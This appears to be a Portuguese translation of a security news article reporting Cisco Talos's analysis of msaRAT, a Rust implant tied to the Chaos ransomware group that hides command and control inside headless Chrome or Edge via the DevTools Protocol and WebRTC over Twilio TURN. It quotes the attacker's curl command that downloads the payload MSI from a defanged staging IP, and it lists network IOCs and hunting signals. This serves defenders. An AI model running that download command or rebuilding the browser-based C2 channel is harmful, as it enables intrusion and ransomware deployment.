Chaos Ransomware usa msaRAT para rotear C2 pelo Chrome e Edge headless

O grupo de ransomware Chaos realizava seu comando e controle pelo próprio navegador da vítima. O msaRAT, implantado em Rust, em máquina Windows comprometida antes do criptografador. O malware nunca abre conexão própria e se comunica apenas com 127.0.0.1, usando o Chrome ou Edge em modo headless via Chrome DevTools Protocol.


Swati Khandelwal Sexta - 24 de Julho de 2026 às 21:47
The Hacker News

O grupo de ransomware Chaos realizava seu comando e controle através do próprio navegador da vítima. A Cisco Talos detalhou nesta quinta-feira o msaRAT, o implantado em Rust por trás dessa técnica, encontrado em uma máquina Windows comprometida antes do criptografador.

O implantado nunca abre uma conexão externa por conta própria. Seu processo se comunica apenas com 127.0.0.1 e nada mais. Ele inicia o Chrome ou Edge em modo headless e controla o navegador através do Chrome DevTools Protocol, a própria API de depuração do browser.

Toda mensagem de comando e controle viaja dali através de um canal de dados WebRTC relayado pelo serviço TURN da Twilio, então o que um analista de defesa vê na rede é um navegador chamando Cloudflare e Twilio. O endereço próprio do servidor do atacante nunca aparece.

O Chrome Faz a Fala

O msaRAT busca Chrome ou Edge primeiro através de variáveis de ambiente, depois recorre ao registro do sistema para o Chrome. Se nenhum navegador compatível for encontrado, o caminho CDP é ignorado.

Quando encontra um, ele inicia o navegador sem janela visível usando --headless=new, habilita o CDP com --remote-debugging-port e aponta para um --user-data-dir separado.

Desde o Chrome 136, o Google não mais aceita o switch de depuração contra o perfil padrão, uma mudança anunciada em março de 2025 após infostealers usarem a flag para roubo de cookies. O msaRAT traz seu próprio diretório de perfil, então a mudança não o afeta. Nada na análise da Talos indica que ele acesse o perfil da vítima.

O malware solicita /json/list/ para um alvo depurável e conecta à URL WebSocket retornada. Ele cria uma aba, desativa a Política de Segurança de Conteúdo com Page.setBypassCSP, registra cinco callbacks através de Runtime.addBinding e chama Runtime.evaluate para injetar JavaScript armazenado em texto simples na seção .rdata do binário.

Quatro nomes de callback, msaOpen, msaClose, msaError e msaMessage, deram à Talos o nome do malware. O quinto é dataAck.

Esse JavaScript busca configuração STUN e TURN de um Cloudflare Worker em is-01-ast[.]ols-img-12[.]workers[.]dev, com cabeçalhos Origin e Referer disfarçados como tráfego do site da Microsoft. Ele constrói uma conexão peer e envia uma oferta SDP para o mesmo endpoint.

A resposta volta sem candidatos ICE e o endereço de conexão definido como 0.0.0.0, então nenhum link peer-to-peer direto pode ser formado, e todo o canal passa pelo relay da Twilio em global.turn.twilio.com. Uma vez que o canal de dados está ativo, o Worker sai do caminho.

O tráfego nesse canal é criptografado duas vezes. O navegador lida com DTLS, e dentro dele há um esquema baseado em ChaCha-Poly1305 chaveado por uma troca ECDH que começa com um frame de handshake 0xFE do comando e controle imediatamente após a conexão.

O implantado passa frames de comando recebidos para cmd.exe /e:ON /v:OFF /d /c <cmd> para execução. A Talos lê a fila de envio e controle de fluxo como provavelmente construídos para mover payloads grandes como capturas de tela ou arquivos de forma confiável.

Nenhuma metade do transporte é nova. A Praetorian mostrou em agosto de 2025 que a infraestrutura TURN de plataformas de videoconferência podia carregar um canal completo de comando e controle, e a Sansec encontrou um skimmer em março de 2026 usando canais de dados WebRTC para mover dados de cartões roubados além da inspeção HTTP.

O msaRAT combina ambos dentro de um implantado Rust vinculado ao Chaos que controla um navegador headless através do CDP.

A Entrada é a Mesma de Sempre

O msaRAT chega após o operador já ter execução e antes do criptografador rodar. A Talos não diz como essa máquina foi alcançada. O playbook documentado do grupo inclui floods de spam, vishing, Quick Assist e ferramentas RMM para persistência.

O implantado em si baixa com um único comando curl:

curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi

Porta 443, HTTP simples. Regras de firewall escritas em torno de números de porta sem inspeção de protocolo permitem a passagem. O MSI carrega dados de propriedade personificando uma atualização do Windows, e uma ação personalizada é disparada ao final da instalação para carregar uma DLL embutida diretamente na memória.

Essa DLL é o msaRAT: escrito em Rust no runtime assíncrono Tokio, exportando uma função chamada RUN para o instalador chamar.

Notas de Caça

O msaRAT é um malware pós-comprometimento e não depende de uma vulnerabilidade do Chrome ou Edge, então defensores não têm patch de navegador para aplicar na técnica em si.

O sinal que permanece é o comportamento do processo. Como coloca a Talos, "todas as comunicações externas são observadas como originárias de um processo de navegador legítimo." Busque Chrome ou Edge iniciado por um instalador, serviço ou outro pai não-interativo com --headless=new e --remote-debugging-port configurados.

Então correlacione esse processo com tráfego loopback para a porta de depuração e WebRTC de saída. Onde a telemetria captura mensagens CDP, Runtime.addBinding e Runtime.evaluate são os pontos de pivô. Fleets que rodam automação de navegador ou CI terão seus próprios jobs headless para ajustar.

Em 23 de julho de 2026, a Talos não publicou hashes de arquivo para o msaRAT. O conjunto de indicadores público são dois artefatos de rede, o IP de staging e o hostname do Worker, ambos em seu repositório de IOCs. Cobertura de detecção da Talos:

  • ClamAV: Win.Downloader.ChaosRaas-10060321-0
  • Snort 2: 1:66839, 1:66840, 1:66841
  • Snort 3: 1:66839, 1:301587

Esses indicadores são úteis mas restritos. O workers.dev é o domínio de deploy compartilhado da Cloudflare, emitido para toda conta de Workers, e atacantes o usaram no ano passado para fazer staging de payloads e tunelar comando e controle.

A Twilio roda um serviço legítimo de STUN e TURN que aplicações WebRTC reais dependem. Bloquear qualquer um deles no nível da organização quebra o tráfego funcional de todos que os usam. A Talos lê isso como a razão provável da escolha do Cloudflare Workers para sinalização.

Trate isso como técnica observada ao invés de campanha medida. O relatório não identifica a vítima, não estabelece quantas organizações receberam o msaRAT, não diz quando o malware entrou em uso, nem explica como as credenciais do Cloudflare Worker e do TURN da Twilio foram obtidas.

A entrega não é notável: um download curl, uma atualização falsa do Windows, uma DLL carregada de um MSI. O que muda é onde o comando e controle reside depois, e ambos os indicadores que a Talos publicou podem ser trocados amanhã. Um navegador headless gerado por um instalador é mais difícil de mover, porque é a técnica.

O msaRAT verifica dois navegadores e precisa de um deles presente e permitido a sair. Em uma frota Windows, esse não é um requisito exigente.

Article The Hacker News thehackernews.com